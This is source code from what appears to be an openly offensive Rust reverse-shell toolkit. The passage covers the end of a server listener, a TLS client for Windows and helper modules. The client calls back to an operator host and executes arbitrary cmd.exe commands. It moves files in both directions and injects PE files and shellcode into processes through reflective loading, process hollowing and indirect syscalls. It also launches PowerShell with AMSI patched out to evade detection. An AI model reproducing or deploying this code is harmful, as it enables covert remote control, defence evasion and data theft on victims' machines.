match stream.write(cmd.as_bytes()) {
Ok(_) => (),
Err(r) => {
log::error!(
"Error sending command to PowerShell : {}",
r
);
stream.flush().unwrap();
continue;
}
}
// Check quit
if cmd.trim_end_matches('\0').trim_end() == "quit"
|| cmd.trim_end_matches('\0').trim_end() == "exit"
{
break;
}
}
continue;
}
stream
.write_all(cmd.as_bytes())
.expect("Error sending command");
let mut buff = [0; 4096];
// Read output from client
match stream.read(&mut buff) {
Ok(_) => {
while buff[4095] != 0 {
print!(
"{}",
String::from_utf8_lossy(&buff).trim_end_matches('\0')
);
buff = [0; 4096];
match stream.read(&mut buff) {
Ok(_) => (),
Err(r) => {
log::error!("Reading error : {}", r);
stream.flush().unwrap();
continue;
}
}
}
println!(
"{}",
String::from_utf8_lossy(&buff).trim_end_matches('\0')
);
}
Err(r) => {
log::error!("Reading error : {}", r);
stream.flush().unwrap();
continue;
}
}
}
// Check quit
if cmd.trim_end_matches('\0').trim_end() == "quit"
|| cmd.trim_end_matches('\0').trim_end() == "exit"
{
break;
}
}
// This is the end
println!("[+] Goodbye my friend <3");
stream.shutdown().unwrap();
});
match server_handle.join() {
Ok(ha) => ha,
Err(r) => {
println!("{:?}", r);
}
}
}
Err(r) => {
log::error!("Error listener {}", r);
exit(5);
}
}
}
Ok(())
}
fn help() -> String {
"[+] Custom integrated commands :
[+] Loading commands
> load C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it. This will kill the reverse shell !
> load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it
> load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it
[+] Loading commands with indirect syscalls
> syscalls C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !
> syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls
> syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls
[+] Bypass commands
> powpow
start a new interactive PowerShell session with the AMSI patched in memory, with or without indirect syscalls
[+] Network commands
> download C:\\file\\to\\download C:\\local\\path
download a file from the remote system
> upload C:\\local\\file\\to\\upload C:\\remote\\path\\to\\write
upload a file to the remote system
[+] Special commands
> autopwn
escalate to the SYSTEM or root account from any local account by exploiting a zero day
".to_string()
}
fn banner() -> String {
r#"
____ _____ _____ __ ____
/ __ \/ ___/ / ___// /_ ___ / / /
/ /_/ /\__ \______\__ \/ __ \/ _ \/ / /
/ _, _/___/ /_____/__/ / / / / __/ / /
/_/ |_|/____/ /____/_/ /_/\___/_/_/
in Rust with love by BlackWasp
@BlWasp_
"#
.to_string()
}
================================================
FILE: src/tcp/tcp_windows_client.rs
================================================
use crate::amsi_bypass::{patch_amsi, start_process_thread};
use crate::utils::tools::{read_and_send_file, receive_and_write_bytes};
use crate::utils::tools_windows::{call_loader_pe, call_loader_shellcode};
use std::error::Error;
use std::fs::File;
use std::io::{Read, Write};
use std::process::{exit, Command, Stdio};
use std::sync::mpsc::{channel, TryRecvError};
use std::sync::{atomic::AtomicBool, atomic::Ordering, Arc};
use native_tls::TlsConnector;
use signal_hook::consts::SIGTERM;
use std::net::TcpStream;
fn do_stuff(cmd: &str) -> Vec {
let exec = Command::new("cmd.exe").args(&["/c", cmd]).output().unwrap();
let stdo = exec.stdout.as_slice();
let _stdr = exec.stderr.as_slice();
if _stdr.len() == 0 {
return stdo.to_vec();
} else {
return _stdr.to_vec();
}
}
pub fn client(i: &str, p: &str) -> Result<(), Box> {
// Connection to server and TLS setup
let clt = TcpStream::connect(i.to_owned() + ":" + p)?;
log::debug!(
"[+] TCP connection success to the listener at {}",
clt.peer_addr()?
);
let mut connector_builder = TlsConnector::builder();
connector_builder.danger_accept_invalid_certs(true);
connector_builder.danger_accept_invalid_hostnames(true);
let connector = connector_builder.build()?;
let stream = connector.connect("dummy", clt);
let mut tls_stream = match stream {
Ok(s) => s,
Err(r) => {
log::debug!("TLS handshake error : {:?}", r.source());
exit(6);
}
};
let os = std::env::consts::FAMILY;
tls_stream.write(os.as_bytes())?;
// Cmd execution loop
loop {
// Read input from server
let mut buff = [0; 4096];
let read = tls_stream.read(&mut buff[0..]);
let bytes_read = match read {
Ok(b) => b,
Err(r) => {
log::debug!("Reading error : {}", r);
continue;
}
};
// Check to quit
if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.trim_end()
== "quit"
|| String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.trim_end()
== "exit"
{
log::debug!("Quit");
break;
}
// Check for download/upload commands
if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("download")
{
let tmp = "".to_owned();
let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0');
let path: Vec<&str> = cmd.split(" ").collect();
match File::open(path[1]) {
Ok(file) => match read_and_send_file(file, &mut tls_stream) {
Ok(_) => (),
Err(r) => {
log::error!("Error during upload : {}", r);
tls_stream.flush().unwrap();
continue;
}
},
Err(r) => {
tls_stream.write(r.to_string().as_bytes())?;
tls_stream.write_all("EndOfTheFile".as_bytes())?;
}
}
} else if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("upload")
{
let tmp = "".to_owned();
let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0');
let path: Vec<&str> = cmd.split(" ").collect();
match File::create(path[2].trim_end_matches('\0').trim_end()) {
Ok(mut file) => {
tls_stream.write("Creation OK".as_bytes())?;
let mut file_buffer = [0; 4096];
let mut file_vec: Vec = Vec::new();
match tls_stream.read(&mut file_buffer) {
Ok(_) => receive_and_write_bytes(
&mut tls_stream,
&mut file_vec,
&mut file_buffer,
)?,
Err(r) => {
log::debug!("Reading error : {}", r);
tls_stream.flush()?;
continue;
}
}
file.write(&file_vec)?;
}
Err(r) => {
log::debug!("File creation error : {}", r);
tls_stream
.write(("Creation not OK : ".to_owned() + &r.to_string()).as_bytes())?;
}
}
// Check for load command
} else if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("load -h")
|| String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("syscalls -h")
|| String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("load -s")
|| String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("syscalls -s")
{
let tmp = "".to_owned();
let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0');
let path: Vec<&str> = cmd.split(" ").collect();
if path.len() != 4 {
if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("load -h")
{
tls_stream.write("Invalid argument number. Usage is : load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow\0".as_bytes())?;
} else if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("syscalls -h")
{
tls_stream.write("Invalid argument number. Usage is : syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow\0".as_bytes())?;
}
} else {
let load_ret: Result<(), Box>;
if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("load -h")
{
load_ret = call_loader_pe(
path[2].trim_end_matches('\0'),
path[3].trim_end_matches('\0'),
0,
);
} else if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("syscalls -h")
{
load_ret = call_loader_pe(
path[2].trim_end_matches('\0'),
path[3].trim_end_matches('\0'),
1,
);
} else {
let mut shellcode_buffer = [0; 4096];
let mut shellcode_vec: Vec = Vec::new();
match tls_stream.read(&mut shellcode_buffer) {
Ok(_) => {
receive_and_write_bytes(
&mut tls_stream,
&mut shellcode_vec,
&mut shellcode_buffer,
)?;
}
Err(r) => {
log::debug!("Reading error : {}", r);
tls_stream.flush()?;
continue;
}
}
if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("load -s")
{
load_ret =
call_loader_shellcode(shellcode_vec, path[3].trim_end_matches('\0'), 0);
} else {
load_ret =
call_loader_shellcode(shellcode_vec, path[3].trim_end_matches('\0'), 1);
}
}
match load_ret {
Ok(()) => {
tls_stream.write("\0".as_bytes())?;
}
Err(r) => {
tls_stream.write(r.to_string().as_bytes())?;
}
};
}
} else if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("load ")
|| String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("syscalls ")
{
let tmp = "".to_owned();
let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0');
let path: Vec<&str> = cmd.split(" ").collect();
if path.len() != 2 {
if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("load")
{
tls_stream.write(
"Invalid argument number. Usage is : load C:\\path\\to\\PE_to_load\0"
.as_bytes(),
)?;
} else {
tls_stream.write(
"Invalid argument number. Usage is : syscalls C:\\path\\to\\PE_to_load\0"
.as_bytes(),
)?;
}
} else {
let load_ret: Result<(), Box>;
if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("load")
{
load_ret = call_loader_pe(path[1].trim_end_matches('\0'), "", 2);
} else {
load_ret = call_loader_pe(path[1].trim_end_matches('\0'), "", 3);
}
match load_ret {
Ok(()) => {
tls_stream.write("\0".as_bytes())?;
}
Err(r) => {
tls_stream.write(r.to_string().as_bytes())?;
}
};
}
// Check for PowerShell w/o AMSI command
} else if String::from_utf8_lossy(&buff)
.trim_end_matches('\0')
.starts_with("powpow")
{
// Start the PowerShell process and patch the AMSI in its memory
let (tx1, rx1) = channel();
let (tx2, rx2) = channel();
let mut child = Command::new("powershell.exe")
.args(["-nop", "-exec", "bypass"])
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.spawn()
.expect("Failed to start process");
let amsi_value = String::from_utf8_lossy(&buff)
.splitn(3, ':')
.nth(1)
.unwrap_or("N")
.trim_end_matches('\0')
.to_owned();
println!("{}", amsi_value);
if amsi_value
.trim_end_matches('\0')
.trim_end()
.eq_ignore_ascii_case("Y")
{
let syscalls_value = String::from_utf8_lossy(&buff)
.splitn(3, ':')
.nth(2)
.unwrap_or("N")
.trim_end_matches('\0')
.to_owned();
println!("{}", syscalls_value);
let syscalls_bool = match syscalls_value.trim_end_matches('\0').trim_end() {
"Y" => true,
"N" => false,
_ => false,
};
patch_amsi(child.id(), syscalls_bool);
}
// Start process thread with in/out pipes
start_process_thread(&mut child, tx2, rx1)?;
let should_terminate = Arc::new(AtomicBool::new(false));
signal_hook::flag::register(SIGTERM, Arc::clone(&should_terminate))?;
// Receive the PowerShell banner
loop {
match rx2.try_recv() {
Ok(line) => {
if line.starts_with("EndOfOutput") {
break;
}
tls_stream.write(line.as_bytes())?;
}
Err(TryRecvError::Empty) => {
continue;
}
Err(r) => {
log::debug!("Recv error: {:?}", r);
tls_stream.write(r.to_string().as_bytes())?;
break;
}
}
}
// Interactive loop
while !should_terminate.load(Ordering::Relaxed) {
buff = [0; 4096];
match tls_stream.read(&mut buff[0..]) {
Ok(_) => (),
Err(r) => {
log::debug!("Reading error : {}", r);
tls_stream.write(r.to_string().as_bytes())?;
continue;
}
};
let cmd = "".to_owned() + String::from_utf8_lossy(&buff).trim_end_matches('\0');
match tx1.send(String::from(cmd.clone())) {
Ok(_) => {
if cmd.trim_end_matches('\0').trim_end() == "quit"
|| cmd.trim_end_matches('\0').trim_end() == "exit"
{
break;
}
while !should_terminate.load(Ordering::Relaxed) {
match rx2.try_recv() {
Ok(line) => {
if line.starts_with("EndOfOutput") {
break;
}
tls_stream.write(line.as_bytes())?;
}
Err(TryRecvError::Empty) => {
continue;
}
Err(r) => {
log::debug!("Recv error: {:?}", r);
tls_stream.write(r.to_string().as_bytes())?;
continue;
}
}
}
}
Err(r) => {
log::debug!(
"Error sending command to PowerShell through the pipe : {:?}",
r
);
continue;
}
}
}
child.kill()?;
} else {
// Magic stuff
let mut res =
do_stuff(String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0'));
if res.len() == 0 {
tls_stream.write("\0".as_bytes())?;
} else {
// Because the TLS max buffer size depends on the underlying library, we cut the paquets to send them into blocks of 4096
let mut buff_to_send = [0; 4096];
loop {
let mut count = 0;
for c in &res {
if count == 4096 {
break;
}
buff_to_send[count] = *c;
count += 1;
}
let _ = tls_stream.write(&buff_to_send)?;
buff_to_send = [0; 4096];
if count < 4096 {
break;
}
let res2 = res.split_off(count);
res = res2;
}
}
}
tls_stream.flush()?;
}
tls_stream.shutdown()?;
Ok(())
}
================================================
FILE: src/utils/structures.rs
================================================
#![allow(non_snake_case)]
#![allow(non_camel_case_types)]
#![allow(dead_code)]
#![cfg(target_family = "windows")]
/*
All these structures have been copied from the OffensiveRust repository by winsecurity : https://github.com/winsecurity/Offensive-Rust
They take the advantage to be more detailled than the ones offered by Microsoft in their crate
*/
#[derive(Debug, Default, Clone)]
#[repr(C)]
pub struct IMAGE_DOS_HEADER {
pub e_magic: [u8; 2], // Magic number
e_cblp: u16, // Bytes on last page of file
e_cp: u16, // Pages in file
e_crlc: u16, // Relocations
e_cparhdr: u16, // Size of header in paragraphs
e_minalloc: u16, // Minimum extra paragraphs needed
e_maxalloc: u16, // Maximum extra paragraphs needed
e_ss: u16, // Initial (relative) SS value
e_sp: u16, // Initial SP value
e_csum: u16, // Checksum
e_ip: u16, // Initial IP value
e_cs: u16, // Initial (relative) CS value
e_lfarlc: u16, // File address of relocation table
e_ovno: u16, // Overlay number
e_res1: [u16; 4], // Reserved words
e_oemid: u16, // OEM identifier (for e_oeminfo)
e_oeminfo: u16, // OEM information, e_oemid specific
e_res2: [u16; 10], // Reserved words
pub e_lfanew: i32, // File address of new exe header
}
#[derive(Clone, Default, Debug)]
#[repr(C)]
pub struct IMAGE_SECTION_HEADER {
pub Name: [u8; 8],
VirtualSize: u32,
pub VirtualAddress: u32,
pub SizeOfRawData: u32,
pub PointerToRawData: u32,
PointerToRelocations: u32,
PointerToLinenumbers: u32,
NumberOfRelocations: u16,
NumberOfLinenumbers: u16,
Characteristics: u32,
}
impl IMAGE_SECTION_HEADER {
fn getsecname(&mut self) -> String {
String::from_utf8_lossy(&self.Name).to_string()
}
}
#[repr(C)]
pub union chars_or_originalfirstthunk {
Characteristics: u32,
OriginalFirstThunk: u32,
}
#[derive(Debug, Clone, Default)]
#[repr(C)]
pub struct IMAGE_IMPORT_DESCRIPTOR {
pub Characteristics_or_OriginalFirstThunk: u32,
TimeDateStamp: u32,
ForwarderChain: u32,
pub Name: u32,
pub FirstThunk: u32,
}
#[repr(C)]
pub union IMAGE_THUNK_DATA32 {
pub ForwarderString: u32,
pub Function: u32,
pub Ordinal: u32,
pub AddressOfData: u32,
}
#[derive(Debug, Clone, Default)]
#[repr(C)]
pub struct IMAGE_EXPORT_DIRECTORY {
pub Characteristics: u32,
pub TimeDateStamp: u32,
pub MajorVersion: u16,
pub MinorVersion: u16,
pub Name: u32,
pub Base: u32,
pub NumberOfFunctions: u32,
pub NumberOfNames: u32,
pub AddressOfFunctions: u32, // RVA from base of image
pub AddressOfNames: u32, // RVA from base of image
pub AddressOfNameOrdinals: u32, // RVA from base of image
}
#[derive(Debug, Default, Clone)]
#[repr(C)]
pub struct IMAGE_OPTIONAL_HEADER64 {
Magic: u16,
MajorLinkerVersion: u8,
MinorLinkerVersion: u8,
SizeOfCode: u32,
SizeOfInitializedData: u32,
SizeOfUninitializedData: u32,
pub AddressOfEntryPoint: u32,
BaseOfCode: u32,
pub ImageBase: i64,
SectionAlignment: u32,
FileAlignment: u32,
MajorOperatingSystemVersion: u16,
MinorOperatingSystemVersion: u16,
MajorImageVersion: u16,
MinorImageVersion: u16,
MajorSubsystemVersion: u16,
MinorSubsystemVersion: u16,
Win32VersionValue: u32,
SizeOfImage: u32,
SizeOfHeaders: u32,
CheckSum: u32,
Subsystem: u16,
DllCharacteristics: u16,
SizeOfStackReserve: u64,
SizeOfStackCommit: u64,
SizeOfHeapReserve: u64,
SizeOfHeapCommit: u64,
LoaderFlags: u32,
NumberOfRvaAndSizes: u32,
pub ExportTable: IMAGE_DATA_DIRECTORY,
pub ImportTable: IMAGE_DATA_DIRECTORY,
ResourceTable: IMAGE_DATA_DIRECTORY,
ExceptionTable: IMAGE_DATA_DIRECTORY,
CertificateTable: IMAGE_DATA_DIRECTORY,
pub BaseRelocationTable: IMAGE_DATA_DIRECTORY,
Debug: IMAGE_DATA_DIRECTORY,
Architecture: IMAGE_DATA_DIRECTORY,
GlobalPtr: IMAGE_DATA_DIRECTORY,
TLSTable: IMAGE_DATA_DIRECTORY,
LoadConfigTable: IMAGE_DATA_DIRECTORY,
BoundImport: IMAGE_DATA_DIRECTORY,
IAT: IMAGE_DATA_DIRECTORY,
DelayImportDescriptor: IMAGE_DATA_DIRECTORY,
CLRRuntimeHeader: IMAGE_DATA_DIRECTORY,
Reserved: IMAGE_DATA_DIRECTORY,
}
#[derive(Debug, Default, Clone)]
#[repr(C)]
pub struct IMAGE_OPTIONAL_HEADER32 {
Magic: u16,
MajorLinkerVersion: u8,
MinorLinkerVersion: u8,
SizeOfCode: u32,
SizeOfInitializedData: u32,
SizeOfUninitializedData: u32,
AddressOfEntryPoint: u32,
BaseOfCode: u32,
// PE32 contains this additional field
BaseOfData: u32,
ImageBase: u32,
SectionAlignment: u32,
FileAlignment: u32,
MajorOperatingSystemVersion: u16,
MinorOperatingSystemVersion: u16,
MajorImageVersion: u16,
MinorImageVersion: u16,
MajorSubsystemVersion: u16,
MinorSubsystemVersion: u16,
Win32VersionValue: u32,
SizeOfImage: u32,
SizeOfHeaders: u32,
CheckSum: u32,
Subsystem: u32,
DllCharacteristics: u16,
SizeOfStackReserve: u32,
SizeOfStackCommit: u32,
SizeOfHeapReserve: u32,
SizeOfHeapCommit: u32,
LoaderFlags: u32,
NumberOfRvaAndSizes: u32,
ExportTable: IMAGE_DATA_DIRECTORY,
ImportTable: IMAGE_DATA_DIRECTORY,
ResourceTable: IMAGE_DATA_DIRECTORY,
ExceptionTable: IMAGE_DATA_DIRECTORY,
CertificateTable: IMAGE_DATA_DIRECTORY,
BaseRelocationTable: IMAGE_DATA_DIRECTORY,
Debug: IMAGE_DATA_DIRECTORY,
Architecture: IMAGE_DATA_DIRECTORY,
GlobalPtr: IMAGE_DATA_DIRECTORY,
TLSTable: IMAGE_DATA_DIRECTORY,
LoadConfigTable: IMAGE_DATA_DIRECTORY,
BoundImport: IMAGE_DATA_DIRECTORY,
IAT: IMAGE_DATA_DIRECTORY,
DelayImportDescriptor: IMAGE_DATA_DIRECTORY,
CLRRuntimeHeader: IMAGE_DATA_DIRECTORY,
Reserved: IMAGE_DATA_DIRECTORY,
}
#[derive(Debug, Default, Clone)]
#[repr(C)]
pub struct IMAGE_FILE_HEADER {
Machine: u16,
pub NumberOfSections: u16,
TimeDateStamp: u32,
PointerToSymbolTable: u32,
NumberOfSymbols: u32,
SizeOfOptionalHeader: u16,
Characteristics: u16,
}
#[derive(Debug, Default, Clone)]
#[repr(C)]
pub struct IMAGE_DATA_DIRECTORY {
pub VirtualAddress: u32,
pub Size: u32,
}
#[derive(Debug, Default, Clone)]
#[repr(C)]
pub struct IMAGE_nt_headS32 {
Signature: u32,
FileHeader: IMAGE_FILE_HEADER,
OptionalHeader: IMAGE_OPTIONAL_HEADER32,
}
#[derive(Debug, Default, Clone)]
#[repr(C)]
pub struct IMAGE_nt_headS64 {
Signature: u32,
pub FileHeader: IMAGE_FILE_HEADER,
pub OptionalHeader: IMAGE_OPTIONAL_HEADER64,
}
#[derive(Debug, Default, Clone)]
pub struct MY_IMAGE_THUNK_DATA64 {
pub Address: [u8; 8],
}
#[derive(Debug, Clone, Default)]
pub struct MY_IMAGE_BASE_RELOCATION {
pub VirtualAddress: u32,
pub SizeofBlock: u32,
}
================================================
FILE: src/utils/tools.rs
================================================
use std::error::Error;
use std::fs::File;
use std::io::{Read, Write};
use std::net::TcpStream;
pub fn receive_and_write_bytes(
tls_stream: &mut native_tls::TlsStream,
bytes_vec: &mut Vec,
file_buffer: &mut [u8; 4096],
) -> Result<(), Box> {
loop {
if String::from_utf8_lossy(file_buffer).starts_with("EndOfTheFile") {
// Drop all the ending null bytes added by the buffer
let file_len_string = String::from_utf8_lossy(file_buffer)
.split_once(':')
.map(|x| x.1)
.unwrap_or("0")
.trim_end_matches('\0')
.to_owned();
let file_len_usize = file_len_string.parse::();
unsafe {
bytes_vec.set_len(file_len_usize.unwrap());
}
break;
} else {
bytes_vec.extend_from_slice(file_buffer);
for elem in file_buffer.iter_mut() {
*elem = 0;
}
tls_stream.read(file_buffer)?;
}
}
Ok(())
}
pub fn read_and_send_file(
mut file: File,
stream: &mut native_tls::TlsStream,
) -> Result<(), Box> {
let mut buff = [0; 4096];
loop {
match file.read(&mut buff) {
Ok(bytes_read) => {
if bytes_read == 0 {
let end_of_file =
"EndOfTheFile:".to_owned() + &file.metadata()?.len().to_string();
stream.write_all(end_of_file.as_bytes())?;
break;
}
stream.write_all(&buff[..bytes_read])?;
}
Err(r) => {
log::error!("Error reading the file : {}", r);
stream.flush()?;
return Err(Box::new(r));
}
}
}
Ok(())
}
================================================
FILE: src/utils/tools_windows.rs
================================================
#![cfg(target_family = "windows")]
use std::error::Error;
use std::ffi::c_void;
use std::fs::File;
use std::io::Read;
use winapi::shared::ntdef::NULL;
use windows_sys::Win32::System::{
Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory},
Threading::GetCurrentProcess,
};
use syscalls::syscall;
use crate::loader::{reflective_loader, remote_loader, shellcode_loader};
use crate::loader_syscalls::{
reflective_loader_syscalls, remote_loader_syscalls, shellcode_loader_syscalls,
};
pub fn fill_structure_from_array(base: &mut T, arr: &[U], syscalls_value: bool) -> usize {
unsafe {
let mut ret_byte = 0;
if syscalls_value {
syscall!(
"NtWriteVirtualMemory",
GetCurrentProcess(),
base as *mut T as *mut c_void,
arr as *const _ as *mut c_void,
std::mem::size_of::(),
&mut ret_byte
);
} else {
WriteProcessMemory(
GetCurrentProcess(),
base as *mut T as *mut c_void,
arr as *const _ as *const c_void,
std::mem::size_of::(),
&mut ret_byte,
);
}
return ret_byte;
}
}
pub fn fill_structure_from_memory(
struct_to_fill: &mut T,
base: *const c_void,
prochandle: *mut c_void,
syscalls_value: bool,
) {
unsafe {
let mut buf: Vec = vec![0; std::mem::size_of::()];
if syscalls_value {
syscall!(
"NtReadVirtualMemory",
prochandle,
base as *mut c_void,
buf.as_mut_ptr() as *mut c_void,
std::mem::size_of::(),
NULL
);
} else {
ReadProcessMemory(
prochandle,
base,
buf.as_mut_ptr() as *mut c_void,
std::mem::size_of::(),
std::ptr::null_mut(),
);
}
fill_structure_from_array(struct_to_fill, &buf, syscalls_value);
}
}
pub fn read_from_memory(
base: *const c_void,
prochandle: *mut c_void,
syscalls_value: bool,
) -> String {
let mut buf: Vec = vec![0; 100];
unsafe {
if syscalls_value {
syscall!(
"NtReadVirtualMemory",
prochandle,
base as *mut c_void,
buf.as_mut_ptr() as *mut c_void,
buf.len(),
NULL
);
} else {
ReadProcessMemory(
prochandle,
base,
buf.as_mut_ptr() as *mut c_void,
100,
std::ptr::null_mut(),
);
}
}
let mut i = 0;
let mut tmp: Vec = vec![0; 100];
while buf[i] != 0 {
tmp[i] = buf[i];
i += 1;
}
log::debug!("{}", String::from_utf8_lossy(&tmp).to_string());
return String::from_utf8_lossy(&tmp).to_string();
}
pub fn get_size(buffer: &Vec, struct_to_check: &str) -> usize {
if buffer.len() < 2 {
log::debug!("file size is less than 2");
return 0;
}
let magic = &buffer[0..2];
let magicstring = String::from_utf8_lossy(magic);
if magicstring == "MZ" {
if buffer.len() < 64 {
log::debug!("file size is less than 64");
return 0;
}
let ntoffset = &buffer[60..64];
unsafe {
let offset = std::ptr::read(ntoffset.as_ptr() as *const i32) as usize;
let bitversion = &buffer[offset + 4 + 20..offset + 4 + 20 + 2];
let bit = std::ptr::read(bitversion.as_ptr() as *const u16);
let index: usize;
if bit == 523 {
if struct_to_check == "header" {
index = offset + 24 + 60;
let headerssize = &buffer[index as usize..index as usize + 4];
let size = std::ptr::read(headerssize.as_ptr() as *const i32);
log::debug!("size of headers: {:x?}", size);
return size as usize;
} else {
index = offset + 24 + 60 - 4;
let headerssize = &buffer[index as usize..index as usize + 4];
let size = std::ptr::read(headerssize.as_ptr() as *const i32);
log::debug!("size of image: {:x?}", size);
return size as usize;
}
} else if bit == 267 {
if struct_to_check == "header" {
index = offset + 24 + 60;
let headerssize = &buffer[index as usize..index as usize + 4];
let size = std::ptr::read(headerssize.as_ptr() as *const i32);
//println!("size of headers: {:x?}", size);
return size as usize;
} else {
index = offset + 24 + 60 - 4;
let headerssize = &buffer[index as usize..index as usize + 4];
let size = std::ptr::read(headerssize.as_ptr() as *const i32);
log::debug!("size of image: {:x?}", size);
return size as usize;
}
} else {
log::debug!("invalid bit version");
return 0;
}
}
} else {
log::debug!("its not a pe file");
return 0;
}
}
pub fn string_from_array(array: &mut Vec) -> String {
let mut res = String::new();
for i in 0..array.len() {
if array[i] == 0 {
return res;
}
res.push(array[i] as char);
}
return res;
}
pub fn call_loader_shellcode(
shellcode_to_load: Vec,
pe_to_exec: &str,
loader: u8,
) -> Result<(), Box> {
match loader {
0 => match shellcode_loader_syscalls(shellcode_to_load, pe_to_exec) {
Ok(rl) => rl,
Err(_) => {
return Err("Shellcode loading error".into());
}
},
1 => match shellcode_loader(shellcode_to_load, pe_to_exec) {
Ok(rl) => rl,
Err(_) => {
return Err("Shellcode loading error".into());
}
},
_ => log::debug!("Invalid loader ID"),
}
Ok(())
}
pub fn call_loader_pe(
file_to_load: &str,
pe_to_exec: &str,
loader: u8,
) -> Result<(), Box> {
let mut buf: Vec = Vec::new();
let file = File::open(file_to_load.trim().replace("\\\\", "\\"));
match file {
Ok(mut f) => {
f.read_to_end(&mut buf)?;
match loader {
0 => match remote_loader(buf, pe_to_exec) {
Ok(rl) => rl,
Err(_) => {
return Err("PE loading error".into());
}
},
1 => match remote_loader_syscalls(buf, pe_to_exec) {
Ok(rl) => rl,
Err(_) => {
return Err("PE loading error".into());
}
},
2 => match reflective_loader(buf) {
Ok(rl) => rl,
Err(_) => {
return Err("PE loading error".into());
}
},
3 => match reflective_loader_syscalls(buf) {
Ok(rl) => rl,
Err(_) => {
return Err("PE loading error".into());
}
},
_ => log::debug!("Invalid loader ID"),
}
}
Err(_) => {
return Err("Error openning file to load".into());
}
};
Ok(())
}